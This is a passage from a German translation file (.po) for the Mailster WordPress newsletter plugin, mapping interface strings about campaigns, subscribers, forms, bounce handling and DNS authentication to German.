Address" msgstr "Adresse für unzustellbare Nachrichten" #: views/dashboard/mb-quicklinks.php:42 views/dashboard/mb-subscribers.php:27 #: views/manage.php:26 views/settings/manage-settings.php:3 #: views/subscribers/overview.php:22 msgid "Export" msgstr "Export" #: views/newsletter/delivery.php:499 msgid "Normal" msgstr "Normal" #: classes/lists.class.php:137 msgid "Subscribers have been unsubscribed" msgstr "Abonnenten wurden abgemeldet" #: views/dashboard/mb-mailster.php:41 msgid "You have the latest version" msgstr "Du verwendest die letzte Version" #: classes/automation.class.php:811 classes/campaigns.class.php:833 #: classes/campaigns.class.php:4506 msgid "Bounces" msgstr "Unzustellbar" #: views/manage.php:12 views/manage/export.php:230 msgid "Export Subscribers" msgstr "Abonnenten Exportieren" #: views/dashboard/mb-mailster.php:33 msgid "Not Verified" msgstr "Nicht verifiziert" #: views/settings/subscribers.php:46 msgid "Subscribers instantly signed out after clicking the unsubscribe link in mails" msgstr "Abonnenten werden sofort abgemeldet, wenn sie den Abmelde link klicken" #: views/newsletter/delivery.php:565 msgid "You have to %s to change the delivery settings" msgstr "Du musst %s um die Versandoptionen zu ändern" #: views/settings.php:44 msgid "Bouncing" msgstr "Bouncing" #: views/setup/finish.php:30 msgid "Extend Mailster" msgstr "Mailster erweitern" #: classes/settings.class.php:1140 msgid "Not able to connected to %1$s via port %2$s! You may not be able to send mails cause of the locked port %3$s. Please contact your host or choose a different delivery method!" msgstr "Es konnte keine Verbindung zu %1$s über Port %2$s hergestellt werden! Du kannst möglicherweise keine E-Mails über den blockierten Port %3$s versenden. Bitte kontaktiere deinen Provider oder wähle eine alternative Sendemethode!" #: views/settings/texts.php:4 msgid "Subscription Form" msgstr "Anmelde Formular" #: views/setup/finish.php:32 msgid "External Resources" msgstr "Weitere Ressourcen" #: classes/manage.class.php:971 msgid "Not able to create file in %s. Please make sure WordPress can write files to your filesystem!" msgstr "Konnte die Datei %s nicht erstellen. Bitte stell sicher, dass WordPress auf das Dateisystem schreiben kann!" #: views/forms/detail.php:250 msgid "Success message Background" msgstr "Farbe der Bestätigung" #: views/settings/subscribers.php:67 msgid "You have to enable Custom fields for each form:" msgstr "Du must Benutzerfelder für jedes Formular aktivieren:" #: views/settings/texts.php:24 msgid "Field Labels" msgstr "Feldbezeichnungen" #: classes/settings.class.php:740 msgid "Not able to create new DKIM keys!" msgstr "Konnte keine neuen DKIM Schlüssel erstellen!" #: views/forms/detail.php:249 msgid "Success message Color" msgstr "Textfarbe Bestätigung" #: classes/subscribers.class.php:105 msgid "Bulk process in progress!" msgstr "Bulk-Prozess in Arbeit!" #: classes/settings.class.php:401 views/settings/subscribers.php:89 msgid "Field Name" msgstr "Feldbezeichnung" #: classes/update.class.php:176 msgid "Not able to download Mailster!" msgstr "Mailster konnte nicht geladen werden!" #: views/settings/texts.php:13 msgid "Successful" msgstr "Erfolgreich" #: views/forms/detail.php:201 msgid "Button" msgstr "Schaltfläche" #: views/forms/detail.php:275 build/forms/form-wrapper/index.js:1 msgid "Field wrapper" msgstr "Feld" #: classes/ajax.class.php:1856 msgid "Not able to save file!" msgstr "Konnte Datei nicht schreiben!" #: classes/tests.class.php:590 msgid "You haven't defined a homepage for the newsletter. This is required to make the subscription form work correctly. Please check the %1$s or %2$s." msgstr "Du hast die Homepage für den Newsletter noch nicht bestimmt. Das ist erforderlich damit das Anmeldeformular funktioniert. Bitte überprüfe die %1$s oder %2$s." #: views/forms/detail.php:127 views/newsletter/editbar.php:92 msgid "Button Label" msgstr "Buttonbezeichung" #: classes/forms.class.php:296 classes/forms.table.class.php:126 #: views/conditions/conditions.php:15 views/forms/detail.php:87 #: views/forms/detail.php:202 build/workflows/action/index.js:1 msgid "Fields" msgstr "Felder" #: classes/settings.class.php:890 msgid "Not able to set archive slug to %1$s. Used by %2$s" msgstr "Konnte Archiv URL Struktur %1$s nicht speichern da sie von %2$s verwendet wird" #: views/dashboard/mb-mailster.php:62 msgid "Support" msgstr "Support" #: classes/forms.class.php:1647 msgid "Button Options" msgstr "Buttoneinstellungen" #: views/settings/cron.php:65 msgid "File based" msgstr "Datei basierend" #: classes/manage.class.php:1003 msgid "Not able to write export file" msgstr "Konnte Datei nicht schreiben" #: classes/forms.class.php:242 msgid "You haven't saved your recent changes on this form!" msgstr "Du hast die Änderungen in diesem Formular nicht geändert!" #: classes/forms.class.php:1629 msgid "Button Style" msgstr "Button Style" #: views/settings/wordpress-users.php:3 msgid "Sync WordPress Users" msgstr "WordPress Benutzer synchronisieren" #: views/settings/authentication.php:6 msgid "You need to change the namespace records of your domain if you would like to use one of these methods. Ask your provider how to add \"TXT namespace records\". Changes take some time to get published on all DNS worldwide." msgstr "Du musst die Namespace-Einträge für deine Domain ändern falls du diese Methoden verwenden möchtest. Frage deinen Provider wie du \"TXT namespace records\" anlegen kannst. Änderungen werden meist erst nach einiger Zeit auf allen DNS weltweit übernommen." #: classes/ajax.class.php:1864 msgid "File has been saved!" msgstr "Datei wurde gespeichert" #: views/newsletter/attachment.php:42 msgid "Note: Each attachment will increase your overall mail size, consider to share a link instead of attaching a file to prevent your email getting too big." msgstr "Beachte: Jeder Anhang erhöht die Gesamtgröße der E-Mail. Erwäge anstelle des Anhangs einen Link zu der Datei zu teilen um zu verhindern, dass deine Nachricht zu groß wird." #: views/settings/wordpress-users.php:5 msgid "Sync WordPress Users with Subscribers" msgstr "WordPress Benutzer mit Abonnenten synchronisieren" #: classes/frontpage.class.php:1306 msgid "You should use the shortcode %s only on the newsletter homepage!" msgstr "Verwende den shortcode %s nur auf der Newsletter Homepage!" #: classes/update.class.php:250 msgid "Buy a new Mailster License" msgstr "Kauf dir eine neue Mailster Lizenz" #: classes/campaigns.class.php:428 classes/campaigns.class.php:432 #: classes/template.class.php:464 classes/templates.class.php:1554 #: views/settings/subscribers.php:3 msgid "Notification" msgstr "Benachrichtigung" #: views/settings.php:48 views/tests.php:22 msgid "System Info" msgstr "Systeminformation" #: views/settings/privacy.php:28 msgid "Your IP" msgstr "Deine IP Adresse" #: classes/update.class.php:186 msgid "Buy an additional license for %s." msgstr "Kauf eine weitere Lizenz für %s." #: classes/campaigns.class.php:4545 classes/subscribers.table.class.php:158 #: classes/subscribers.table.class.php:169 msgid "Filter" msgstr "Filter" #: classes/queue.class.php:1321 msgid "Notification %1$s has thrown an error: %2$s" msgstr "Benachrichtigung %1$s verursachte einen Fehler: %2$s" #: views/settings/general.php:38 msgid "System Mails" msgstr "System E-Mails" #: views/dashboard/mb-mailster.php:29 views/dashboard/mb-mailster.php:36 msgid "Buy new License" msgstr "Kaufe eine neue Lizenz" #: classes/campaigns.class.php:341 msgid "Filter Newsletter list" msgstr "Newsletter filtern" #: views/setup/finish.php:15 views/setup/finish.php:17 msgid "Now you can continue to customize Mailster to your needs." msgstr "Jetzt kannst du Mailster noch weiter and deine Bedürfnisse anpassen." #: classes/ajax.class.php:2157 msgid "TXT record found" msgstr "TXT Eintrag gefunden" #: views/setup/sending.php:23 msgid "CAN-SPAM" msgstr "CAN-SPAM" #: classes/campaigns.class.php:1242 classes/campaigns.class.php:1401 msgid "Finish" msgstr "Beenden" #: classes/widget.class.php:253 msgid "Number of Newsletters" msgstr "Anzahl der Newsletter" #: classes/settings.class.php:402 classes/tinymce.class.php:144 #: views/addons.php:23 views/settings/subscribers.php:90 views/templates.php:29 msgid "Tag" msgstr "Tag" #: classes/ajax.class.php:2062 msgid "Your bounce server is good!" msgstr "Die Servereinstellungen sind korrekt!" #: views/manage/export.php:174 msgid "CSV" msgstr "CSV" #: classes/campaigns.class.php:1242 msgid "Finish Campaign" msgstr "Kampagne beenden" #: classes/widget.class.php:266 msgid "Number of Subscribers" msgstr "Anzahl der Abonnenten" #: classes/manage.class.php:266 classes/manage.class.php:1056 #: classes/subscribers.class.php:1954 classes/tinymce.class.php:145 #: views/settings.php:40 views/subscribers/detail.php:302 #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Tags" msgstr "Tags" #: classes/templates.class.php:1735 views/manage/method-upload.php:111 msgid "Your browser has some limitations uploading large files with the multi-file uploader. Please use the browser uploader for files over 100MB." msgstr "Dein Browser kann auf Grund von Limitierungen keine grossen Dateien hochladen. Nutze bitte den alternativen \"Browser-Upload\" um Dateien mit einer Grösse von über 100 MB hochzuladen." #: classes/campaigns.class.php:313 classes/logs.class.php:128 #: views/dashboard/mb-campaigns.php:19 views/lists/detail.php:138 #: views/logging/detail.php:33 views/newsletter/delivery.php:432 #: views/subscribers/detail.php:434 msgid "Campaign" msgstr "Kampagne" #: classes/campaigns.class.php:408 classes/campaigns.class.php:410 #: classes/campaigns.class.php:1036 msgid "Finished" msgstr "Beendet" #: classes/cron.class.php:72 views/settings/delivery.php:4 msgid "Number of mails sent" msgstr "Anzahl der zu sendenden Mails" #: views/settings/tags.php:2 msgid "Tags are placeholder for your newsletter. You can set them anywhere in your newsletter template with the format %s. Custom field tags are individual for each subscriber." msgstr "Tags sind Platzhalter für deinen Newsletter. Du kannst sie überall in deimem Template im Format %s verwenden. Benutzerdefinierte Felder sind individuell für jeden Abonnenten" #: views/settings/privacy.php:30 msgid "Your city" msgstr "Deine Stadt" #: classes/queue.class.php:1338 msgid "Campaign %1$s has been paused cause of a sending error: %2$s" msgstr "Kampagne %1$s wurde wegen eines Sendefehlers pausiert: %2$s" #: views/settings/general.php:35 msgid "Number of posts or images displayed at once in the editbar." msgstr "Anzahl der Posts oder Bilder die auf einmal beim Editieren gezeigt werden" #: classes/campaigns.class.php:454 views/settings.php:33 msgid "Template" msgstr "Template" #: views/settings/privacy.php:29 msgid "Your country" msgstr "Dein Land" #: classes/queue.class.php:1341 msgid "Campaign %1$s has some delay cause of a sending error: %2$s" msgstr "Kampagne %1$s verzögert sich etwas wegen eines Sendefehlers: %2$s " #: classes/settings.class.php:265 classes/tinymce.class.php:71 #: includes/updates.php:39 patterns/default-form.php:7 patterns/forms.php:40 #: patterns/forms.php:175 patterns/forms.php:727 views/settings/texts.php:27 msgid "First Name" msgstr "Vorname" #: classes/forms.class.php:298 msgid "Occurrence" msgstr "Vorkommen" #: classes/templates.class.php:371 msgid "Template %s already exists!" msgstr "Template %s existiert bereits!" #: views/newsletter/optionbar.php:39 msgid "Your currently working with %s" msgstr "Du arbeitest zur Zeit mit %s" #: classes/subscribers.class.php:615 views/subscribers/detail.php:445 msgid "Campaign %s has been sent" msgstr "Kampagne %s wurde gesendet" #: views/lists/detail.php:153 msgid "First open in Campaign %s" msgstr "Erster öffnet Kampagne %s" #: views/settings/frontend.php:66 msgid "Offer share option for your customers" msgstr "Option zum Teilen anbieten" #: classes/notification.class.php:164 classes/notification.class.php:193 msgid "Your daily summary" msgstr "Deine tägliche Zusammenfassung" #: views/lists/detail.php:149 msgid "Campaign %s has start sending" msgstr "Kampagne %s wurde gesendet" #: views/lists/detail.php:161 msgid "First subscription canceled" msgstr "Erstes Abmeldung" #: classes/helper.class.php:2033 views/setup.php:81 msgid "Ok, got it!" msgstr "Ok, verstanden!" #: classes/ajax.class.php:2461 msgid "Template %s has been uploaded" msgstr "Template %s wurde hochgeladen" #: classes/mailster.class.php:1621 classes/manage.class.php:128 msgid "Your download is preparing! If you leave this page the progress will abort!" msgstr "Dein Download wird vorbereitet! Wenn du die Seite verlässt, wird der Prozess abgebrochen!" #: classes/campaigns.class.php:1169 msgid "Campaign does not exist" msgstr "Kampagne existiert nicht" #: views/settings/subscribers.php:58 views/settings/subscribers.php:59 #: views/settings/wordpress-users.php:26 msgid "Firstname" msgstr "Vorname" #: views/single-newsletter.php:112 msgid "Your email address" msgstr "Ihre E-Mailadresse" #: classes/campaigns.class.php:810 msgid "Campaign draft updated." msgstr "Kampagnen Entwurf aktualisiert." #: classes/widget.class.php:537 msgid "Flat" msgstr "Flach" #: classes/settings.class.php:445 msgid "Ooops, looks like your settings are missing or broken :(" msgstr "Oje, schaut aus als ob die Einstellungen fehlen oder beschädigt sind :(" #: views/newsletter/precheck.php:59 msgid "Your email may look different on mobile devices." msgstr "Deine E-Mail kann auf Mobiltelefonen anders aussehen." #: classes/campaigns.class.php:806 msgid "Campaign published. %s" msgstr "Kampagne veröffentlicht %s" #: classes/settings.class.php:259 msgid "Following fields are missing or incorrect" msgstr "Folgende Felder sind fehlerhaft oder wurden nicht ausgefüllt" #: classes/automation.class.php:808 classes/campaigns.class.php:830 #: build/forms/form-wrapper/index.js:1 msgid "Open" msgstr "Geöffnet" #: views/forms/detail.php:183 msgid "Your form may look different depending on the place you are using it!" msgstr "Dein Formular schaut eventuell anders aus abhängig von dem Ort wo es verwendet wird!" #: classes/tinymce.class.php:92 views/conditions/conditions.php:17 msgid "Campaign related" msgstr "Kampagnen bezogen" #: classes/block-forms.class.php:623 classes/conditions.class.php:237 #: classes/elementor.class.php:33 classes/elementor.class.php:49 #: classes/forms.class.php:666 classes/forms.table.class.php:13 #: classes/subscribers.class.php:902 classes/subscribers.class.php:1951 #: classes/tinymce.class.php:197 classes/widget.class.php:33 #: classes/widget.class.php:523 build/form/index.js:233 msgid "Form" msgstr "Formular" #: classes/campaigns.class.php:4502 msgid "Open Count" msgstr "Öffnungen" #: classes/campaigns.class.php:802 msgid "Template changed. %1$s" msgstr "Template geändert. %1$s" #: views/single-newsletter.php:115 msgid "Your friend's email address" msgstr "Die E-Mailadresse Ihres Freundes" #: classes/campaigns.class.php:805 msgid "Campaign restored to revision from %s" msgstr "Kampagne von Revision %s wiederhergestellt" #: classes/forms.class.php:491 msgid "Form %s has been removed" msgstr "Formular %s wurde entfernt" #: classes/campaigns.class.php:4501 msgid "Open Date" msgstr "Öffnungsdatum" #: classes/campaigns.class.php:803 msgid "Template saved" msgstr "Template gespeichert" #: views/dashboard/mb-mailster.php:34 msgid "Your license has not been verified" msgstr "Deine Lizenz wurde nicht verifiziert" #: classes/campaigns.class.php:807 msgid "Campaign saved." msgstr "Kampagne gespeichert" #: views/forms/detail.php:180 msgid "Form Design" msgstr "Formular Design" #: views/settings/cron.php:11 msgid "Optional if a real cron service is used" msgstr "Optional falls ein richtiger Crondienst verwendet wird" #: classes/ajax.class.php:1912 classes/templates.class.php:927 msgid "Template successful loaded!" msgstr "Template wurde erfolgreich geladen!" #: classes/campaigns.class.php:809 msgid "Campaign scheduled." msgstr "Kampagne geplant." #: views/forms/detail.php:107 msgid "Form Fields" msgstr "Formular Felder" #: classes/campaigns.class.php:465 classes/settings.class.php:414 #: build/forms/form-wrapper/index.js:1 build/workflows/triggers/index.js:1 msgid "Options" msgstr "Optionen" #: classes/ajax.class.php:1795 msgid "Your message was sent successfully!" msgstr "Ihre Nachricht wurde erfolgreich verschickt" #: views/subscribers/detail.php:371 msgid "Campaign sent" msgid_plural "Campaigns sent" msgstr[0] "Kampagne gesendet" msgstr[1] "Kampagnen gesendet" #: views/forms/detail.php:454 msgid "Form HTML" msgstr "Formular HTML" #: classes/settings.class.php:495 msgid "Options have been reset!" msgstr "Einstellungen wurden zurückgesetzt!" #: classes/mailster.class.php:1310 classes/templates.class.php:69 #: views/templates.php:3 msgid "Templates" msgstr "Templates" #: classes/notification.class.php:166 classes/notification.class.php:195 msgid "Your monthly summary" msgstr "Deine monatliche Zusammenfassung" #: views/settings/frontend.php:90 msgid "Campaign slug" msgstr "Kampagnen URL-Struktur" #: classes/manage.class.php:419 views/dialogs/deactivation.php:35 #: views/forms/detail.php:286 views/settings/texts.php:49 #: build/forms/form-wrapper/index.js:1 msgid "Other" msgstr "Andere" #: views/settings/bounce.php:86 msgid "Test bounce settings" msgstr "Bounce Einstellungen testen" #: views/single-newsletter.php:109 msgid "Your name" msgstr "Ihr Name" #: classes/campaigns.class.php:808 msgid "Campaign submitted. %s" msgstr "Kampagne eingereicht %s" #: views/forms/detail.php:309 msgid "Form Options" msgstr "Formular Optionen" #: classes/manage.class.php:325 msgid "Other Meta" msgstr "Andere Metadaten" #: classes/forms.class.php:1672 msgid "Test your button" msgstr "Teste deinen Button" #: classes/settings.class.php:895 msgid "Your newsletter archive page is: %s" msgstr "Deine Newsletter Archiv findest du hier: %s" #: classes/campaigns.class.php:804 msgid "Campaign updated." msgstr "Kampagne aktualisiert." #: classes/forms.class.php:464 msgid "Form added" msgstr "Formular hinzugefügt" #: views/subscribers/detail.php:396 msgid "Other used clients" msgstr "Andere verwendete Klienten" #: classes/tinymce.class.php:181 views/forms/detail.php:402 msgid "Text" msgstr "Text" #: classes/tests.class.php:595 msgid "Your newsletter homepage is not visible. Please update %s." msgstr "Deine Newsletter Homepage ist nicht sichtbar. Bitte %s deine Seite" #: classes/campaigns.class.php:801 msgid "Campaign updated. %s" msgstr "Kampagne aktualisiert %s" #: views/forms/detail.php:274 build/forms/form-wrapper/index.js:1 msgid "Form selector" msgstr "Formular Selector" #: views/settings/wordpress-users.php:140 msgid "Others" msgstr "Andere" #: views/newsletter/editbar.php:80 msgid "Text Button" msgstr "Text Button" #: classes/mailster.class.php:2044 msgid "Your purchase code is already in use and can only be used for one site." msgstr "Dein Lizenzcode ist bereits in Verwendung und kann nur auf einer Seite verwendet werden." #: classes/campaigns.class.php:314 views/dashboard/mb-quicklinks.php:17 msgid "Campaigns" msgstr "Kampagnen" #: classes/forms.class.php:464 msgid "Form updated" msgstr "Formular aktualisiert" #: views/manage/export.php:171 msgid "Output Format" msgstr "Ausgabeformat" #: views/forms/detail.php:222 build/forms/messages/index.js:1 msgid "Text Color" msgstr "Textfarbe" #: classes/mailster.class.php:2036 msgid "Your purchase code is invalid." msgstr "Dein Lizenzcode ist ungültig." #: classes/templates.class.php:1727 views/manage/import.php:46 #: views/manage/method-upload.php:104 views/newsletter/editbar.php:342 #: views/newsletter/optionbar.php:115 views/newsletter/template.php:135 #: build/workflows/conditions/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/trigger/index.js:1 msgid "Cancel" msgstr "Abbruch" #: classes/forms.class.php:187 classes/forms.class.php:545 #: classes/forms.table.class.php:14 classes/tinymce.class.php:198 #: views/dashboard/mb-quicklinks.php:55 views/forms/overview.php:3 #: views/settings/subscribers.php:67 build/workflows/trigger/index.js:1 msgid "Forms" msgstr "Formulare" #: classes/widget.class.php:46 msgid "Text after the form" msgstr "Text nach dem Formular" #: classes/notification.class.php:165 classes/notification.class.php:194 msgid "Your weekly summary" msgstr "Deine wöchentliche Zusammenfassung" #: classes/tinymce.class.php:96 msgid "Forward" msgstr "Weiterleiten" #: views/setup/homepage.php:18 msgid "Page Title" msgstr "Seitentitel" #: classes/widget.class.php:44 msgid "Text before the form" msgstr "Text vor dem Formular" #: views/manage/export.php:183 msgid "[Tab]" msgstr "[Tab]" #: views/settings.php:43 msgid "Capabilities" msgstr "Berechtigungen" #: views/settings/texts.php:42 msgid "Forward Link" msgstr "Link weiterleiten" #: views/settings/frontend.php:60 msgid "Pagination" msgstr "Blättern" #: classes/settings.class.php:405 views/settings/subscribers.php:78 msgid "Textarea" msgstr "Textfeld" #: views/subscribers/detail.php:453 msgid "a link" msgstr "einen Link" #: views/setup/sending.php:15 msgid "From Address" msgstr "Absenderadresse" #: classes/settings.class.php:1673 views/newsletter/submit.php:27 #: views/settings/bounce.php:49 msgid "Password" msgstr "Passwort" #: classes/settings.class.php:404 views/settings/subscribers.php:77 msgid "Textfield" msgstr "Textfeld" #: views/settings/cron.php:32 msgid "a secret hash which is required to execute the cron" msgstr "ein geheimer Hash welcher für die Ausführung des Cron gebraucht wird" #: classes/helper.class.php:727 msgid "Change Image" msgstr "Bild ändern" #: views/newsletter/details.php:48 views/newsletter/details.php:49 #: views/settings/general.php:7 msgid "From Email" msgstr "Absenderadresse" #: includes/autoresponder.php:40 msgid "a specific action hook" msgstr "eine gewissen Action Hook" #: views/settings/texts.php:93 msgid "Change Language" msgstr "Sprache wechseln" #: views/newsletter/details.php:39 views/newsletter/details.php:42 #: views/settings/general.php:3 views/setup/sending.php:11 #: build/workflows/email/index.js:1 msgid "From Name" msgstr "Absendername" #: classes/campaigns.class.php:1233 classes/campaigns.class.php:1399 #: views/manage/import.php:44 views/newsletter/submit.php:67 #: views/newsletter/submit.php:78 msgid "Pause" msgstr "Pause" #: classes/settings.class.php:498 msgid "Texts have been reset!" msgstr "Texte wurden zurückgesetzt!" #: includes/autoresponder.php:36 msgid "a specific campaign" msgstr "eine bestimmte Kampagne" #: views/newsletter/optionbar.php:45 msgid "Change Template" msgstr "Template ändern" #: classes/settings.class.php:842 views/settings.php:34 msgid "Front End" msgstr "Front End" #: classes/campaigns.class.php:1233 msgid "Pause Campaign" msgstr "Kampagne pausieren" #: classes/settings.class.php:258 classes/tinymce.class.php:184 #: includes/static.php:51 includes/static.php:62 #: build/forms/messages/index.js:1 build/homepage-context/index.js:5 msgid "Thanks for your interest!" msgstr "Danke für deine Anmeldung!" #: includes/autoresponder.php:32 msgid "a specific user time" msgstr "eine gewisse Benutzerzeit" #: includes/functions.php:1404 msgid "Changelog" msgstr "Änderungen" #: classes/tinymce.class.php:73 msgid "Full Name" msgstr "Ganzer Name" #: views/settings/delivery.php:90 msgid "Pause campaigns" msgstr "Kampagnen pausieren" #: includes/capability.php:329 msgid "access dashboard" msgstr "Dashboardzugang" #: views/settings/authentication.php:75 msgid "Changing namespace entries can take up to 48 hours to take affect around the world." msgstr "Änderungen der Namespace Einträge kann bis zu 48 Stunden dauern um auf der ganzen Welt verfügbar zu sein" #: classes/template.class.php:633 msgctxt "common module name" msgid "Full Size Image" msgstr "Vollbild" #: classes/campaigns.class.php:381 classes/campaigns.class.php:383 #: classes/campaigns.class.php:993 msgid "Paused" msgstr "Pausiert" #: includes/cron.php:119 msgid "The Secret is missing or wrong!" msgstr "Die geheime Zeichenfolge fehlt oder ist falsch!" #: classes/campaigns.class.php:1186 msgid "activate" msgstr "aktivieren" #: views/manage/export.php:188 views/settings/general.php:59 msgid "CharSet" msgstr "CharSet" #: classes/template.class.php:637 msgctxt "common module name" msgid "Full Size Text Invert" msgstr "invertierter Text für Vollbild" #: views/settings/frontend.php:95 msgid "Permalink Structure" msgstr "Permalinks" #: views/settings/bounce.php:54 msgid "Check bounce server every %s minutes for new messages" msgstr "Überprüfe den Bounceserver alle %s Minuten auf neue Nachrichten" #: views/settings.php:32 build/forms/form-wrapper/index.js:1 msgid "General" msgstr "Allgemein" #: classes/tinymce.class.php:116 views/settings/tags.php:8 msgid "Permanent Tags" msgstr "Permanente Tags" #: views/settings/general.php:12 views/setup/sending.php:20 msgid "The address users can reply to" msgstr "Die Adresse an die geantwortet wird" #: classes/mailster.class.php:1564 classes/mailster.class.php:1592 msgid "Check for languages" msgstr "Überprüfen der Sprache" #: classes/campaigns.class.php:1838 msgid "Generating the screenshot may take a while. Please reload the page to update" msgstr "Den Screenshot zu erstellen kann eine Zeit dauern. Bitte die Seite neu laden um zu aktualisieren." #: classes/template.class.php:643 msgctxt "common module name" msgid "Plans" msgstr "Tabelle" #: classes/settings.class.php:1192 msgid "The caching time for tweets must be at least %d minutes" msgstr "Die Cachezeit für Tweets muss mindestens %d Minuten dauern" #: views/dashboard/mb-campaigns.php:45 msgid "Check out existing Campaigns" msgstr "Vorhandene Kampagnen ansehen" #: views/newsletter/details.php:195 msgid "Geo Location" msgstr "Orte" #: classes/forms.class.php:240 msgid "The changes you made will be lost if you navigate away from this page." msgstr "Änderungen werden verworfen wenn die Seite verlassen wird" #: classes/automation.class.php:881 classes/campaigns.class.php:1050 #: views/settings/delivery.php:52 views/settings/frontend.php:195 #: build/workflows/triggers/index.js:1 msgid "active" msgstr "aktiv" #: views/setup/finish.php:29 msgid "Check out the templates" msgstr "Schau dir die Templates an" #: classes/ajax.class.php:1958 classes/templates.class.php:622 msgid "Please add following lines to the wp-config.php %s" msgstr "Bitte folgende Zeiken zu deiner wp-config.php hinzufügen %s" #: classes/settings.class.php:400 views/settings/subscribers.php:131 #: views/settings/tags.php:35 views/settings/template.php:56 #: views/settings/wordpress-users.php:48 msgid "add" msgstr "hinzufügen" #: classes/mailster.class.php:1520 msgid "Check the JS console for more info!" msgstr "Kontrolliere die Browserkonsole for mehr infos" #: classes/settings.class.php:875 msgid "Please change the slug or permalink of %s since it's used by the archive page" msgstr "Bitte den Permalink von %s ändern da er von der Archivseite verwendet wird" #: classes/templates.class.php:155 classes/templates.class.php:161 #: classes/templates.class.php:269 classes/templates.class.php:273 msgid "The content folder is not writeable" msgstr "Ein Verzeichnis ist nicht schreibbar" #: classes/campaigns.class.php:1760 msgid "Add %s" msgstr "%s hinzufügen" #: classes/subscribers.class.php:394 msgid "Check the browser console for more info!" msgstr "Überprüfe die Browserkonsole für mehr Info!" #: views/settings/general.php:116 msgid "Get your Google API Key." msgstr "Google API Schlüssel." #: classes/settings.class.php:1431 classes/settings.class.php:1438 msgid "The data does't look like valid settings!" msgstr "Die Daten schauen nicht nach korrekten Einstellungen aus!" #: classes/campaigns.class.php:1757 msgid "Add button" msgstr "Schaltfläche hinzufügen" #: classes/ajax.class.php:860 msgid "Check your console for more info." msgstr "Kontrolliere die Browserkonsole for mehr infos" #: views/forms/detail.php:200 msgid "Global" msgstr "Global" #: views/settings/general.php:16 msgid "The default delay in minutes for sending campaigns." msgstr "Kampagnen werden standardmäßig mit dieser Verzögerung in Minuten gestartet" #: views/conditions/conditions.php:38 views/conditions/conditions.php:126 msgid "Add Condition" msgstr "Bedingung hinzufügen" #: classes/settings.class.php:408 views/settings/subscribers.php:81 msgid "Checkbox" msgstr "Checkbox" #: views/settings/authentication.php:46 msgid "The domain you have set the TXT namespace records" msgstr "Die Domain, bei der du die TXT Einträge angelegt hast" #: classes/manage.class.php:368 msgid "Add contacts to following lists" msgstr "Kontakte zu folgenden Listen hinzufügen" #: classes/lists.table.class.php:111 msgid "Child of %s" msgstr "Kind von %s" #: classes/campaigns.class.php:802 classes/form.class.php:1272 #: classes/form.class.php:1281 msgid "Go back" msgstr "Zurück" #: classes/settings.class.php:257 patterns/default-form.php:3 #: build/forms/messages/index.js:1 msgid "Please confirm your subscription!" msgstr "Bitte bestätigen Sie Ihre Anmeldung!" #: views/settings/authentication.php:12 msgid "The domain you would like to add a SPF record" msgstr "Die Domain, der du einen SPF Eintrag hinzufügen willst" #: views/forms/detail.php:266 msgid "Add custom CSS to your form" msgstr "Füge eine eigene CSS zu deinem Formular" #: views/newsletter/delivery.php:478 views/settings/frontend.php:20 #: build/workflows/trigger/index.js:1 msgid "Choose" msgstr "wählen" #: views/settings/general.php:114 msgid "Google API Key" msgstr "Google API Schlüssel" #: classes/settings.class.php:842 msgid "Please define a homepage for the newsletter on the %s tab!" msgstr "Bitte bestimme die Newsletter Homepage in den %s - einstellungen! " #: classes/settings.class.php:413 views/settings/subscribers.php:114 msgid "add field" msgstr "Feld hinzufügen" #: views/setup/delivery.php:5 msgid "Choose how Mailster should send your campaigns. It's recommend to go with a dedicate ESP to prevent rejections and server blocking." msgstr "Bestimme wie Mailster deine Kampagnen versenden soll. Es wird empfohlene einen dedizierten Provider zu verwenden um nicht geblockt zu werden." #: classes/templates.class.php:467 msgid "The header of this template files is missing or corrupt" msgstr "Der Kopfbereich diese Templates ist nicht vorhanden oder ungültig" #: classes/widget.class.php:41 msgid "add form" msgstr "Formular hinzufügen" #: views/setup.php:25 msgid "Great, you're done!" msgstr "Geschafft!" #: views/settings/authentication.php:52 msgid "The selector is used to identify the keys used to attach a token to the email" msgstr "Der Selector wird zum identifizieren der Schlüssel, die den Mails angehängt werden, verwendet " #: includes/capability.php:226 msgid "add forms" msgstr "Formular hinzufügen" #: classes/campaigns.class.php:4504 msgid "Click Count" msgstr "Klicks" #: views/logging/detail.php:38 views/manage/export.php:175 msgid "HTML" msgstr "HTML" #: classes/templates.class.php:868 msgid "Please enter the name of the new template." msgstr "Bitte gib den Namen des neuen Templates an." #: includes/capability.php:262 msgid "add lists" msgstr "Listen erstellen" #: classes/block-forms.class.php:792 msgid "Click here to confirm" msgstr "Hier klicken um zu bestätigen" #: classes/forms.class.php:1708 msgid "HTML Version" msgstr "HTML Version" #: views/settings/general.php:4 views/setup/sending.php:12 msgid "The sender name which is displayed in the from field" msgstr "Der Name, wie er beim Empfänger angezeigt wird" #: views/forms/detail.php:160 msgid "Add more custom fields on the %s." msgstr "Füge weitere Felder auf der %s hinzu." #: classes/campaigns.class.php:1755 classes/template.class.php:699 #: classes/template.class.php:701 msgid "Click to add %s" msgstr "Klicken um %s hinzuzufügen" #: views/lists/detail.php:169 views/lists/detail.php:173 #: views/subscribers/detail.php:470 msgid "Hard bounce" msgstr "Hardbounce" #: classes/placeholder.class.php:1395 msgid "Please enter your Twitter application credentials on the settings page" msgstr "Bitte gib die Daten deiner Twitter Applikation auf der Einstellungsseite ein" #: classes/campaigns.class.php:1779 msgid "The status of this campaign has changed. Please reload the page or %s" msgstr "Der Status der Kamapgne hat sich geändert. Bitte die Seite neu laden oder %s" #: views/newsletter/delivery.php:395 msgid "add new fields" msgstr "neue Felder hinzufügen" #: classes/campaigns.class.php:1754 msgid "Click to edit %s" msgstr "Klicken um %s zu bearbeiten" #: classes/subscribers.class.php:3738 msgid "Hard bounced at %s" msgstr "Hardbounced am %s" #: classes/settings.class.php:277 msgid "Please enter your email address" msgstr "Bitte deine E-Mailaddresse eingeben" #: views/forms/detail.php:402 msgid "The text new subscribers get when Double-Opt-In is selected. Use %s for the link placeholder. Basic HTML is allowed" msgstr "Die Nachricht die neue Abonnenten erhalten, wenn Double-Opt-In aktiviert ist. Verwende %s als Platzhalter für den Link. Einfaches HTML ist erlaubt." #: classes/manage.class.php:379 msgid "Add new list" msgstr "Neue Liste erstellen" #: classes/campaigns.class.php:454 msgid "Clickmap" msgstr "Clickmap" #: classes/conditions.class.php:208 classes/manage.class.php:1059 #: views/manage/export.php:93 msgid "Hash" msgstr "Hash" #: classes/ajax.class.php:1772 msgid "Please fill out 